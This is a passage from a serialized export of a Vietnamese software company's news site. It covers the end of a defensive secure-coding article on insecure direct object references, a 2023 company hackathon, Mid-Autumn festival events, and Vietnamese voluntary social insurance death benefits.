cấp.",[11,22322,22255],{},[11,22324,22325,22326,22330],{},"Trong mục “Quản lý đơn hàng”, URL của một đơn hàng sẽ có dạng như sau: ",[58,22327,22328],{"href":22328,"rel":22329},"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1",[62],". Server sẽ đọc ID = 1 từ URL, sau đó tìm đơn hàng có ID = 1 trong database và đổ dữ liệu vào HTML. Sau đó thay đổi ID = 1 thành một số khác, lúc này hệ thống đọc và hiển thị tất cả đơn hàng (kể cả đơn hàng của khách hàng khác).",[11,22332,22333],{},"Lỗ hổng ở đây chính là: chương trình cho phép truy cập tài nguyên (đơn hàng của người khác) bất hợp pháp, thông qua dữ liệu (ID) mà cung cấp qua URL. Lẽ ra, chương trình phải kiểm tra xem người dùng đó có quyền truy cập các dữ liệu này hay không.",[11,22335,22336],{},"Trong thực tế, hackers có thể dùng nhiều chiêu trò như: thay đổi URL, thay đổi param trong API, sử dụng tool để scan những tài nguyên không được bảo mật.",[11,22338,22339],{},[20,22340,22043],{},[201,22342,22343,22346,22349],{},[34,22344,22345],{},"Thiết lập phân quyền chặt chẽ người dùng",[34,22347,22348],{},"Luôn luôn test cẩn thận ứng dụng",[34,22350,22351],{},"Bảo vệ dữ liệu nhảy cảm như source code, config, database key, cần hạn chế truy cập. Cách tốt nhất là chỉ cho phép các IP nội bộ truy cập các dữ liệu này.",[498,22353,7456],{"id":7455},[11,22355,22356],{},"Việc sử dụng secure coding cho ứng dụng là một yếu tố không thể thiếu để đảm bảo an toàn và bảo mật. Bằng cách áp dụng những nguyên tắc và phương pháp secure coding giúp bạn ngăn chặn các lỗ hổng bảo mật xuất hiện từ giai đoạn đầu và giảm thiểu rủi ro trong tương lai. Xây dựng một ứng dụng đáng tin cậy và an toàn cho người dùng.",[498,22358,7462],{"id":5255},[11,22360,22361],{},[58,22362,22363],{"href":22363,"rel":22364},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002F",[62],[11,22366,22367],{},[58,22368,22369],{"href":22369,"rel":22370},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v1.pdf",[62],[11,22372,22373],{},[58,22374,22375],{"href":22375,"rel":22376},"https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002F",[62],[11,22378,22379],{},[58,22380,22381],{"href":22381,"rel":22382},"https:\u002F\u002Fwww.websec.ca\u002Fkb\u002Fsql_injection",[62],[11,22384,22385],{},[58,22386,22387],{"href":22387,"rel":22388},"https:\u002F\u002Fcodedx.com\u002Finsecure-direct-object-references\u002F",[62],[11,22390,22391],{},[58,22392,22393],{"href":22393,"rel":22394},"https:\u002F\u002Fviblo.asia\u002Fs\u002Fsecure-coding-for-developers-dbZN76EalYM",[62],{"title":66,"searchDepth":67,"depth":67,"links":22396},[22397,22398,22399,22412,22419,22420],{"id":21331,"depth":67,"text":21332},{"id":21341,"depth":67,"text":21342},{"id":21371,"depth":67,"text":21372,"children":22400},[22401,22402,22403,22404,22405,22406,22407,22408,22409,22410,22411],{"id":21375,"depth":1417,"text":21376},{"id":21420,"depth":1417,"text":21421},{"id":21468,"depth":1417,"text":21469},{"id":21544,"depth":1417,"text":21545},{"id":21594,"depth":1417,"text":21595},{"id":21650,"depth":1417,"text":21651},{"id":21723,"depth":1417,"text":21724},{"id":21776,"depth":1417,"text":21777},{"id":21835,"depth":1417,"text":21836},{"id":21888,"depth":1417,"text":21889},{"id":21944,"depth":1417,"text":21945},{"id":21997,"depth":67,"text":21998,"children":22413},[22414,22415,22416,22417,22418],{"id":22001,"depth":1417,"text":22002},{"id":22057,"depth":1417,"text":22058},{"id":22128,"depth":1417,"text":22131},{"id":22246,"depth":1417,"text":22249},{"id":22316,"depth":1417,"text":22317},{"id":7455,"depth":67,"text":7456},{"id":5255,"depth":67,"text":7462},"2025-03-25","Giới thiệu về secure coding Secure coding là quá trình viết mã nguồn có tính bảo mật cao, tránh tối đa các lỗ hổng để ngăn chặn các cuộc tấn công từ kẻ xâm nhập hoặc hackers, tập trung vào việc viết mã và phát triển ứng dụng một cách an toàn. Mã không an toàn là nguồn gốc chính của nhiều vấn đề bảo mật trong phần mềm.",{},"\u002Fvi\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan",{"title":21326,"description":22422},"vi\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F20130147\u002Fimage-secure-coding.jpg","_b-Yj0HxE1eBlY_RtVv7xqEoYTvVYqE4vqlqx5SXs_A",{"id":22430,"title":22431,"body":22432,"category":69,"created by":5903,"date":22693,"description":22436,"extension":72,"meta":22694,"navigation":74,"path":22695,"sections":76,"seo":22696,"stem":22697,"thumbnail":22698,"__hash__":22699},"content_vi\u002Fvi\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023.md","Sự kiện Hackathon đầu tiên của Briswell Vietnam, 2023",{"type":8,"value":22433,"toc":22680},[22434,22437,22441,22452,22456,22467,22471,22491,22495,22498,22502,22505,22508,22511,22514,22517,22521,22532,22536,22559,22563,22568,22572,22577,22581,22584,22610,22613,22616,22619,22622,22625,22628,22631,22634,22637,22640,22644,22647,22650,22653,22656,22662,22665,22671,22674],[11,22435,22436],{},"Briswell Vietnam đã tổ chức sự kiện Hackathon cho các thành viên trong công ty, tạo cơ hội cho mọi người nghiên cứu, phát triển các dịch vụ mới. Sự kiện diễn tra trong vòng 3 tuần, ở tuần cuối sẽ tổ chức buổi thuyết trình và các nhóm sẽ trình bày về thành quả của mình trong 3 tuần qua. Dưới đây là chi tiết về sự kiện Hackathon lần này.",[498,22438,22440],{"id":22439},"mục-đích-của-sự-kiện","Mục đích của sự kiện",[31,22442,22443,22446,22449],{},[34,22444,22445],{},"Có thể tìm hiểu và phát triển nhiều dịch vụ mới.",[34,22447,22448],{},"Cải thiện, phát triển cách thức phát triển phần mềm mới.",[34,22450,22451],{},"Giúp các thành viên đạt được các mục tiêu mà bình thường chưa có cơ hội đạt được khi tham gia dự án công ty như tham gia các khâu thiết kế và release.",[498,22453,22455],{"id":22454},"thời-gian-diễn-ra-sự-kiện","Thời gian diễn ra sự kiện",[31,22457,22458,22461,22464],{},[34,22459,22460],{},"Sự kiện diễn ra từ ngày 13 tháng 2 tới ngày 2 tháng 3.",[34,22462,22463],{},"Buổi thuyết trình sẽ diễn ra vào ngày 2 tháng 3.",[34,22465,22466],{},"Các thành viên cần sắp xếp để tham gia ít nhất 2 ngày mỗi tuần. Đối với các thành viên có nhiều thời gian rảnh hơn thì có thể tham gia nhiều hơn.",[498,22468,22470],{"id":22469},"lịch-trình-sự-kiện","Lịch trình sự kiện",[31,22472,22473,22476,22479,22482,22485,22488],{},[34,22474,22475],{},"Ban tổ chức sẽ ban hành rule và lịch trình cụ thể cho sự kiện.",[34,22477,22478],{},"Ban tổ chức chia đội.",[34,22480,22481],{},"Tổ chức họp giữa toàn bộ các thành viên có tham gia sự kiện để giải thích về luật tham gia, quy tắc, lịch trình, chủ đề và thành viên mỗi đội.",[34,22483,22484],{},"Các đội họp bàn với nhau để quyết định ra sản phẩm của nhóm, thông báo tới ban tổ chức.",[34,22486,22487],{},"Tổ chức thuyết trình vào ngày 2 tháng 3 (chuẩn bị tài liệu thuyết trình và video).",[34,22489,22490],{},"Viết bài tech blog về sản phẩm của nhóm.",[498,22492,22494],{"id":22493},"chủ-đề","Chủ đề",[11,22496,22497],{},"Fitness\u002F Healthcare",[498,22499,22501],{"id":22500},"danh-sách-đội","Danh sách đội",[11,22503,22504],{},"Danh sách các đội và thành viên như sau:",[11,22506,22507],{},"Team1: Calories-showing (Nghĩa, Sang, Đạt, Hào, Ngọc(C))",[11,22509,22510],{},"Team2: Enjoy-life (Hiếu, Duy, Vinh, Hoàng, Trung, Châu(C))",[11,22512,22513],{},"Team3: Healthy-healthier (Thành, Khánh, Hữu, Khuyên, T.Anh(C))",[11,22515,22516],{},"Operation support: Hải(C)",[498,22518,22520],{"id":22519},"quyền-lợigiải-thưởng","Quyền lợi\u002FGiải thưởng",[31,22522,22523,22526,22529],{},[34,22524,22525],{},"Giải nhất: 200.000 VND cho mỗi thành viên.",[34,22527,22528],{},"Thương mại hóa sản phẩm của nhóm thắng cuộc.",[34,22530,22531],{},"Có thêm bonus nếu sản phẩm của đó có tạo lợi nhuận.",[498,22533,22535],{"id":22534},"các-quy-định","Các quy định",[31,22537,22538,22541,22544,22547,22550,22553,22556],{},[34,22539,22540],{},"Các dự án trong sự kiện sẽ được quản lý thông qua Redmine (tương tự như các dự án khác trong công ty)",[34,22542,22543],{},"Cần bảo vệ bản quyền và bảo mật thông tin.",[34,22545,22546],{},"Sử dụng các Github repositories do công ty cung cấp.",[34,22548,22549],{},"Cần sử dụng công nghệ AI hoặc các dịch vụ AI trong ứng dụng của nhóm (có thể dùng dịch vụ AI đơn giản để xử lý chữ, hình ảnh, âm thanh, vân vân)",[34,22551,22552],{},"Cần sự đồng ý của ban tổ chức khi sử dụng các dịch vụ tốn phí. Ưu tiên sử dụng các dịch vụ không tốn phí. (Khi sử dụng dịch vụ tốn phí thì cần lên bảng danh sách chi phí cụ thể, công ty sẽ chi trả cho mỗi đội nhiều nhất là 1.000.000 VND mỗi tháng)",[34,22554,22555],{},"Tổ chức họp giữa các thành viên vào mỗi buổi sáng. (Hãy nhớ tạo lịch họp)",[34,22557,22558],{},"Khi xây dựng hệ thống thì UI viết bằng tiếng anh.",[498,22560,22562],{"id":22561},"đánh-giá-kết-quả","Đánh giá kết quả",[31,22564,22565],{},[34,22566,22567],{},"Kết quả đội chiến thắng sẽ được quyết định thông qua số phiếu bầu của tất cả thành viên phía Briswell Vietnam và Briswell Japan.",[498,22569,22571],{"id":22570},"quyết-định-sản-phẩm","Quyết định sản phẩm",[31,22573,22574],{},[34,22575,22576],{},"Trước khi tiến hành phát triển sản phẩm, mỗi nhóm cần quyết định sản phẩm mà nhóm sẽ làm, dịch vụ AI sẽ sử dụng, cũng như cách triển khai tạo ra sản phẩm, dịch vụ của nhóm. Sau đó nhóm sẽ thông báo tới ban tổ chức sự kiện và cần nhận được sự đồng ý trước khi tiến hành chính thức thiết kế, coding.",[498,22578,22580],{"id":22579},"thuyết-trình","Thuyết trình",[11,22582,22583],{},"Theo như kế hoạch đã vạch ra, thì buổi thuyết trình sẽ diễn ra vào ngày 2 tháng 3. Các đội trình bày về sản phẩm của mình. Theo đó, mỗi đội sẽ tạo tài liệu thuyết trình với chi tiết như sau:",[31,22585,22586,22589,22592,22595,22598,22601,22604,22607],{},[34,22587,22588],{},"Tính hấp dẫn\u002Fnội dung của dịch vụ (giải thích cùng lúc với việc chạy ứng dụng)",[34,22590,22591],{},"Công nghệ sử dụng và phương pháp phát triển ứng dụng",[34,22593,22594],{},"Các dịch vụ, công cụ và thư viện được sử dụng (bao gồm cả giấy phép và mục đích sử dụng của chúng)",[34,22596,22597],{},"Các tính năng, ưu điểm của sản phẩm mà nhóm đã nghĩ ra",[34,22599,22600],{},"Các thành viên và vai trò của từng người",[34,22602,22603],{},"Dịch vụ AI được sử dụng và mục đích của dịch vụ đó",[34,22605,22606],{},"Các tính năng chưa hoàn thành được hoặc các tính năng sẽ được thêm trong tương lai",[34,22608,22609],{},"Các nội dung khác",[11,22611,22612],{},"Lịch trình cụ thể của buổi thuyết trình:",[11,22614,22615],{},"3h00 ~ 3h05: Ban tổ chức phát biểu",[11,22617,22618],{},"3h05 ~ 3h30: Nhóm Enjoy-Life trình bày",[11,22620,22621],{},"3h30 ~ 3h35: Giải lao",[11,22623,22624],{},"3h35 ~ 4h00: Nhóm Calories-Showing trình bày",[11,22626,22627],{},"4h00 ~ 4h05: Giải lao",[11,22629,22630],{},"4h05 ~ 4h30: Nhóm Healthy-Healthier trình bày",[11,22632,22633],{},"4h30 ~ 5h00: Đưa link vote cho mọi người, và các hoạt động khác",[498,22635,1169],{"id":22636},"kết-quả",[11,22638,22639],{},"Thời gian diễn ra bầu chọn là từ ngày 2 tháng 3 tới 8 tháng 3. Dưới đây là kết quả bầu chọn.",[533,22641],{"className":22642,"alt":66,"src":22643,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22152722\u002FScreenshot-2023-03-22-151942-768x333.png",[11,22645,22646],{},"Dựa vào kết quả bầu chọn thì có 2 team bằng số phiếu. Để lựa chọn team chiến thắng, ban tổ chức đã dựa vào các tiêu chí khác như bài thuyết trình, sự ăn ý, tính đồng đội, sự hợp tác trong công việc và quyết định đội chiến thắng cuối cùng của Hackathon 202302 là Enjoy Life với sản phẩm Ingredient Checker. Đồng thời cũng chúc mừng các đội còn lại cũng đã cố gắng hết mình với sản phẩm của nhóm.",[11,22648,22649],{},"Do là lần tổ chức đầu tiên của sự kiện Hackathon nên còn khá nhiều sai sót, ban tổ chứ c cũng đã nhận được nhiều đóng góp ý kiến của mọi người để cải thiện cho những lần tổ chức sau và gửi lời cám ơn tất cả các thành viên đã tham gia sự kiện.",[11,22651,22652],{},"Dưới đây là link tới bài tech blog mà các nhóm đã viết về sản phẩm nhóm mình.",[11,22654,22655],{},"Nhóm Calorie Showing với sản phẩm Calorie Showing.",[11,22657,22658],{},[58,22659,22661],{"href":22660},"\u002Fvi\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F",[11,22663,22664],{},"Nhóm Enjoy Life với sản phẩm Ingredient Checker.",[11,22666,22667],{},[58,22668,22670],{"href":22669},"\u002Fvi\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F",[11,22672,22673],{},"Nhóm Heathy Healthier với sản phẩm Easy Medicine.",[11,22675,22676],{},[58,22677,22679],{"href":22678},"\u002Fvi\u002Fnews\u002Fhackathon-team3\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-team3\u002F",{"title":66,"searchDepth":67,"depth":67,"links":22681},[22682,22683,22684,22685,22686,22687,22688,22689,22690,22691,22692],{"id":22439,"depth":67,"text":22440},{"id":22454,"depth":67,"text":22455},{"id":22469,"depth":67,"text":22470},{"id":22493,"depth":67,"text":22494},{"id":22500,"depth":67,"text":22501},{"id":22519,"depth":67,"text":22520},{"id":22534,"depth":67,"text":22535},{"id":22561,"depth":67,"text":22562},{"id":22570,"depth":67,"text":22571},{"id":22579,"depth":67,"text":22580},{"id":22636,"depth":67,"text":1169},"2023-03-30",{},"\u002Fvi\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023",{"title":22431,"description":22436},"vi\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22213033\u002F336352687_129229636774710_4526858656474541242_n.png","kI4gM57dDAI6F6_w3PQR4zZT_4u-QyUiWrwP-BMQ8I8",{"id":22701,"title":22702,"body":22703,"category":2902,"created by":70,"date":22736,"description":22737,"extension":72,"meta":22738,"navigation":74,"path":22739,"sections":76,"seo":22740,"stem":22741,"thumbnail":22742,"__hash__":22743},"content_vi\u002Fvi\u002Fnews\u002Ftet-trung-thu-nam-2021.md","TẾT TRUNG THU NĂM 2021",{"type":8,"value":22704,"toc":22734},[22705,22708,22711,22714,22717,22721,22724,22728,22731],[11,22706,22707],{},"Một cuộc sống \"Bình thường mới\" đã và đang bắt đầu diễn ra tại Briswell Việt Nam.",[11,22709,22710],{},"Tình hình dịch bệnh mặc dù đã có những tiến triển khả quan, tốc độ tiêm chủng tại thành phố đang được đẩy nhanh mỗi ngày, Thành phố cũng đang có những phương án dần mở cửa để hoạt động kinh tế trở lại, tuy nhiên dịch bệnh vẫn còn đang diễn biến khá phức tạp khiến cho việc giãn cách là một điều cần thiết, để có thể tiếp tục hoạt động trong thời buổi kinh tế hiện nay bắt buộc nhiều doanh nghiệp lớn, vừa và nhỏ phải thay đổi cách thức làm việc, chuyển từ làm việc tại văn phòng sang làm việc tại nhà.",[11,22712,22713],{},"Briswell Việt Nam cũng không ngoại lệ. Không để giãn cách làm chúng ta xa cách nhau, không để khoảng cách địa lý ngăn trở các thành viên trong công ty, cũng như ngăn trở sự quan tâm của công ty dành cho toàn thể nhân viên.",[11,22715,22716],{},"Trong tháng 9 này công ty cũng đã kịp gửi gắm những phần bánh trung thu trọn hương vị- ấm thân tình đến tận cửa nhà các thành viên trong công ty.",[533,22718],{"className":22719,"alt":66,"src":22720,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20115941\u002FImage-from-iOS-1-scaled.jpg",[11,22722,22723],{},"Mong rằng các thành viên Briswell Việt Nam sẽ cảm thấy ấm lòng với món quà nhỏ này và cùng nhau tận hưởng một mùa trung thu đầy ý nghĩa tại nhà.",[533,22725],{"className":22726,"alt":66,"src":22727,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20120012\u002FIMG20210920093414-scaled.jpg",[11,22729,22730],{},"Mình cùng nhau STAY HOME, STAY HEALTHY nhé.",[11,22732,22733],{},"Chúng ta hãy cùng nhau bắt đầu một chặng đường mới, tuy khó khăn nhưng cũng đầy thú vị và trải nghiệm này nhé.",{"title":66,"searchDepth":67,"depth":67,"links":22735},[],"2021-09-20","Một cuộc sống \"Bình thường mới\" đã và đang bắt đầu diễn ra tại Briswell Việt Nam. Tình hình dịch bệnh mặc dù đã có những tiến triển khả quan, tốc độ tiêm chủng tại thành phố đang được đẩy nhanh mỗi ngày, Thành phố cũng đang có những phương án dần mở cửa để hoạt động kinh tế trở lại, tuy nhiên dịch bệnh vẫn còn đang diễn biến khá phức tạp khiến cho việc giãn cách là một điều cần thiết, để có thể tiếp tục hoạt động trong thời buổi kinh tế hiện nay bắt buộc nhiều doanh nghiệp lớn, vừa và nhỏ phải thay đổi cách thức làm việc, chuyển từ làm việc tại văn phòng sang làm việc tại nhà.",{},"\u002Fvi\u002Fnews\u002Ftet-trung-thu-nam-2021",{"title":22702,"description":22737},"vi\u002Fnews\u002Ftet-trung-thu-nam-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20125027\u002Ftetrungthu.png","oS5VbqGgpMC28Uk4XSIdPQW2u36OxCyEHGF-Ot2K2fk",{"id":22745,"title":22746,"body":22747,"category":2902,"created by":6140,"date":22842,"description":22843,"extension":72,"meta":22844,"navigation":74,"path":22845,"sections":76,"seo":22846,"stem":22847,"thumbnail":22848,"__hash__":22849},"content_vi\u002Fvi\u002Fnews\u002Ftet-trung-thu-nam-2025.md","Tết Trung Thu năm 2025",{"type":8,"value":22748,"toc":22840},[22749,22752,22755,22769,22777,22781,22784,22795,22806,22809,22819,22822,22834,22837],[11,22750,22751],{},"Hòa trong không khí rộn ràng của mùa Trung thu đoàn viên, Briswell đã tổ chức một buổi tiệc nhỏ ấm áp dành cho toàn thể nhân viên. ",[11,22753,22754],{},"Những phần bánh Trung Thu được công ty gửi tặng đến mọi người như một lời chúc bình an và ngọt ngào.",[11,22756,22757,22761,22763,22767],{},[533,22758],{"className":22759,"alt":66,"src":22760,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06132925\u002FIMG_7934-768x576.jpg",[570,22762],{},[533,22764],{"className":22765,"alt":66,"src":22766,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133018\u002FIMG_7936-768x943.jpg",[570,22768],{},[11,22770,22771,22775],{},[533,22772],{"className":22773,"alt":66,"src":22774,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133113\u002FIMG_7940-768x1207.jpg",[570,22776],{},[533,22778],{"className":22779,"alt":66,"src":22780,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133203\u002FIMG_7944-768x700.jpg",[11,22782,22783],{},"Không khí trở nên nhộn nhịp hơn khi mọi người cùng nhau thưởng thức tiệc nhẹ với những món bánh ngon, trái cây và đồ uống mát lành, tạo nên những giây phút gần gũi và vui vẻ.",[855,22785,6535,22787,6535,22791],{"className":22786,"style":9231},[9296],[533,22788],{"className":22789,"alt":66,"src":22790,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134742\u002FIMG_7958-1-768x1024.jpg",[533,22792],{"className":22793,"alt":66,"src":22794,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133153\u002FIMG_7942-768x1024.jpg",[855,22796,6535,22798,6535,22802],{"className":22797,"style":9231},[9230],[533,22799],{"className":22800,"alt":66,"src":22801,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134729\u002FIMG_7945-768x1024.jpg",[533,22803],{"className":22804,"alt":66,"src":22805,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133246\u002FIMG_7947-768x1024.jpg",[11,22807,22808],{},"Trong buổi tiệc, phần mini game đã trở thành điểm nhấn khi khuấy động cả không gian bằng tiếng cười và sự hào hứng của người tham gia.",[11,22810,22811,56,22815],{},[533,22812],{"className":22813,"alt":66,"src":22814,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134753\u002FIMG_7963-1-768x576.jpg",[533,22816],{"className":22817,"alt":66,"src":22818,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134758\u002FIMG_7964-1-768x576.jpg",[11,22820,22821],{},"Những phần quà nhỏ xinh được trao đến team chiến thắng trò chơi, mang lại niềm vui và góp phần gắn kết tinh thần tập thể.",[11,22823,22824,22828,56,22830],{},[533,22825],{"className":22826,"alt":66,"src":22827,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133038\u002FIMG_7938-768x576.jpg",[570,22829],{},[533,22831],{"className":22832,"alt":66,"src":22833,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134804\u002FIMG_7969-1-768x576.jpg",[11,22835,22836],{},"Sự kiện khép lại trong không khí vui tươi và những bức ảnh lưu giữ khoảnh khắc đáng nhớ.",[11,22838,22839],{},"Trung Thu năm nay lại là một kỷ niệm đẹp trong hành trình đồng hành cùng nhau của Briswell.",{"title":66,"searchDepth":67,"depth":67,"links":22841},[],"2025-10-06","Hòa trong không khí rộn ràng của mùa Trung thu đoàn viên, Briswell đã tổ chức một buổi tiệc nhỏ ấm áp dành cho toàn thể nhân viên.  Những phần bánh Trung Thu được công ty gửi tặng đến mọi người như một lời chúc bình an và ngọt ngào. Không khí trở nên nhộn nhịp hơn khi mọi người cùng nhau thưởng thức tiệc nhẹ với những món bánh ngon, trái cây và đồ uống mát lành, tạo nên những giây phút gần gũi và vui vẻ.",{},"\u002Fvi\u002Fnews\u002Ftet-trung-thu-nam-2025",{"title":22746,"description":22843},"vi\u002Fnews\u002Ftet-trung-thu-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06145019\u002FBlue-Illustrations-Mid-Autumn-Festival-Instagram-Post.png","VZbhEEQhgwMQ5sWpKXPI03r9AMJy7VAKWfZP5ET2Ugk",{"id":22851,"title":22852,"body":22853,"category":69,"created by":70,"date":22892,"description":22893,"extension":72,"meta":22894,"navigation":74,"path":22895,"sections":76,"seo":22896,"stem":22897,"thumbnail":22898,"__hash__":22899},"content_vi\u002Fvi\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat.md","THAM GIA BHXH TỰ NGUYỆN ĐƯỢC HƯỞNG TRỢ CẤP MAI TÁNG HAY TRỢ CẤP TỬ TUẤT",{"type":8,"value":22854,"toc":22890},[22855,22858,22865,22868,22871,22878,22881,22884,22887],[11,22856,22857],{},"Khi người lao động tham gia bảo hiểm xã hội tự nguyện.",[11,22859,22860],{},[20,22861,22862],{},[1277,22863,22864],{},"1. Về chế độ mai táng phí:",[11,22866,22867],{},"Theo Điểm b, Khoản 2, điều 8, Nghị định 134\u002FNĐ-CP ngày 29\u002F12\u002F2015 quy định về điều kiện hưởng chế độ mai táng phí khi: “Người tham gia bảo hiểm xã hội tự nguyện có thời gian tính hưởng chế độ tử tuất từ đủ 60 tháng trở lên\".",[11,22869,22870],{},"Nếu người tham gia bảo hiểm xã hội tự nguyện chọn phương thức đóng 1 lần cho 05 năm nhưng chẳng may trong thời gian chưa được 05 năm mà người đó qua đời thì thân nhân của họ chưa đủ điều kiện để hưởng chế độ mai táng phí.",[11,22872,22873],{},[20,22874,22875],{},[1277,22876,22877],{},"2. Về chế độ tử tuất một lần:",[11,22879,22880],{},"Tại Điểm b, Khoản 4, Điều 7, Thông tư 01\u002FTT-BLĐTBXH ngày 18\u002F02\u002F2016 của Bộ Lao động - Thương binh và Xã hội quy định chi tiết và hướng dẫn thi hành một số điều của Luật Bảo hiểm xã hội tự nguyện quy định: “Mức trợ cấp tuất một lần được thực hiện theo quy định tại Khoản 2 Điều 81 của Luật Bảo hiểm xã hội\".",[11,22882,22883],{},"Tại Khoản 2 Điều 81, Luật Bảo hiểm xã hội 2014 quy định: “Mức trợ cấp tử tuất một lần đối với thân nhân của người lao động đang đóng bảo hiểm xã hội hoặc đang bảo lưu thời gian đóng bảo hiểm xã hội được tính theo số năm đã đóng bảo hiểm xã hội, cứ mỗi năm tính bằng 1,5 tháng mức bình quân thu nhập tháng đóng bảo hiểm xã hội quy định tại Điều 79 của Luật này cho những năm đóng bảo hiểm xã hội trước năm 2014; bằng 02 tháng mức bình quân thu nhập tháng đóng bảo hiểm xã hội cho các năm đóng từ năm 2014 trở đi.",[11,22885,22886],{},"Trường hợp người lao động có thời gian đóng bảo hiểm xã hội chưa đủ một năm thì mức trợ cấp tuất một lần bằng số tiền đã đóng nhưng mức tối đa bằng 02 tháng mức bình quân thu nhập tháng đóng bảo hiểm xã hội; trường hợp người lao động có cả thời gian đóng bảo hiểm xã hội bắt buộc và tự nguyện thì mức hưởng trợ cấp tuất một lần tối thiểu bằng 03 tháng mức bình quân tiền lương và thu nhập tháng đóng bảo hiểm xã hội”.",[11,22888,22889],{},"Như vậy, trong trường hợp này thân nhân của người tham gia bảo hiểm xã hội tự nguyện sẽ được hưởng chế độ tử tuất 1 lần.",{"title":66,"searchDepth":67,"depth":67,"links":22891},[],"2021-06-18","Khi người lao động tham gia bảo hiểm xã hội tự nguyện. 1. Về chế độ mai táng phí: Theo Điểm b, Khoản 2, điều 8, Nghị định 134\u002FNĐ-CP ngày 29\u002F12\u002F2015 quy định về điều kiện hưởng chế độ mai táng phí khi: “Người tham gia bảo hiểm xã hội tự nguyện có thời gian tính hưởng chế độ tử tuất từ đủ 60 tháng trở lên",{},"\u002Fvi\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat",{"title":22852,"description":22893},"vi\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11163422\u002FTroCapTuTuatHayMaiTang.png","LoC-0ntza_x-1bSN9PztX8adxD0ro_fbKKRacR2s4mo",{"id":22901,"title":22902,"body":22903,"category":69,"created by":70,"date":22919,"description":22907,"extension":72,"meta":22920,"navigation":74,"path":22921,"sections":76,"seo":22922,"stem":22923,"thumbnail":22924,"__hash__":22925},"content_vi\u002Fvi\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc.md","THÀNH LẬP BHXH THÀNH PHỐ THỦ ĐỨC",{"type":8,"value":22904,"toc":22917},[22905,22908,22911,22914],[11,22906,22907],{},"Ngày 